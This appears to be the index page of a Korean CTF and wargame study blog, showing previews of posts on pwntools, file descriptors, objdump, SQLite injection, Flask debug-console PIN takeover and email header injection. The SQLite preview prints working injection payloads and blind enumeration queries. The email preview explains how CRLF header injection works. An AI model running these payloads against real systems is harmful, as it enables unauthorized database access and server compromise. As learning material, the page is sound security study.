전체 글 (164) 썸네일형 리스트형 easy to use pwntool example from pwn import *import reHOST = 'url'PORT = 12345p = remote(HOST, PORT)p.recvuntil(b'If you can solve 500 addition problems, we will give you a flag!\r\n')for i in range(500): question_line = p.recvuntil(b'\r\n').decode('utf-8') match = re.search(r'(\d+)\s*\+\s*(\d+)', question_line) if match: num1 = int(match.group(1)) num2 = int(match.group(2)) re.. [System Hacking] 리눅스 파일 디스크립터(File Descriptor) 조작과 표준 입력(stdin)의 이해 시스템 해킹과 리네 엔지니어링을 공부하다 보면 가장 먼저 만나는 장벽 중 하나가 바로 파일 입출력(File I/O)과 파일 디스크립터(File Descriptor) 개념이다.오늘은 워게임에서 자주 등장하는 패턴을 바탕으로,직접 제작한 유사 예제를 통해 컴퓨터가 파일에서 데이터를 읽는 통로를 조작하여 프로그램의 흐름을 바꾸는 원리를 알아보겠다.1. 파일 디스크립터(File Descriptor, FD)란?리눅스(Linux) 운영체제는 "모든 것은 파일이다(Everything is a file)"라는 철학을 가지고 있다. 텍스트 파일뿐만 아니라 키보드 입력, 모니터 화면 출력, 네트워크 연결까지 모두 파일 형태로 관리된다.프로그램이 이러한 파일들과 데이터를 주고받으려면 통로를 연결해야 하는데, 이 통로를 파일.. tmp\0x01 여기 기초적인 c코드가 있다. #include int main(){ int i; for(i=0; i for문 반복을 돌면서 5번 Hello MLD!(개행)를 출력해주는 심플한 코드 이제 이 파일을 컴파일 해보자 나는 리눅스 칼리를 사용하는데, 기본적으로 리눅스는 gcc라는 무료 컴파일러는 내장하고 있다. gcc test.c 컴파일이 제대로 이루어지면 default 값으로 a.out 바이너리 파일이 생성된다. 이를 실행하면 다음과 같은 결과가 터미널에 출력된다. ┌──(kali㉿kali)-[~/Desktop/test]└─$ ./a.out Hello MLD!Hello MLD!Hello MLD!Hello MLD!Hello MLD! 이제는 내장된 툴인 objdump를 사용하여 직접 이 main()함수에.. sqlite3 injection 정리 sqlite3 injection 정리 reference:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.mdadmin' or 1=2-- -admin' or 1=1-- -의 응답값에 대한 비교로 sqli 취약점 발견admin' AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0)=1-- -하나씩 대입해본 결과 테이블 length는 5admin' AND (SELECT length(tbl_name) FROM sqlite_mast.. Flask 개발서버 Debug mode 취약점 flask development debug mode를 켜놓은 채 서버 풀면 /console이란 창이 활성화 되는데 pin 코드만 알면 서버 장악 가능함 pin코드는 user name, mod name, app name, flask_path, CGROUP, Machine id의 조합으로 만들어짐 각각의 파편화된 정보를 취합하여 pin번호 탈취 가능함 decode tool은 https://github.com/SidneyJob/Werkzeuger 이거 사용하면됨 # MIT License# Copyright (c) 2023 SidneyJob# Permission is hereby granted, free of charge, to any person obtaining a copy# of this softwar.. RFI TEST RFI TEST email injection 웹 애플리케이션이 사용자 입력값을 검증하지 않고 이메일 헤더(From, Subject 등)에 그대로 합칠 때 발생하는 취약점이메일 전송에 쓰이는 SMTP 프로토콜이 개행 문자(\r\n, URL 인코딩 시 %0D%0A)를 기준으로 명령어를 구분한다는 점을 악용해서, 공격자가 임의의 메일 헤더를 조작하거나 추가하는 공격 이메일 데이터는 크게 헤더(Header) 영역과 본문(Body) 영역으로 나뉘고, 이 둘은 연속된 두 번의 줄바꿈(\r\n\r\n)으로 구분됨. 따라서 payload 짤 때 \r\n 또는 filtering 걸어놨으면 bypass 용으로 %0D%0A 놓고 Bcc 나 cc 헤더 추가하거나 원하는 헤더 넣고 던져주면 injection 가능 rootme Javascript - Obfuscation 2 난독화 문제라는데 딱히 난독화도 아닌것이 password가 소스코드에 다 나와있음 저거 고대로 cyberchef에 몇번 돌리면 비번 나옴 이전 1 2 3 4 ··· 21 다음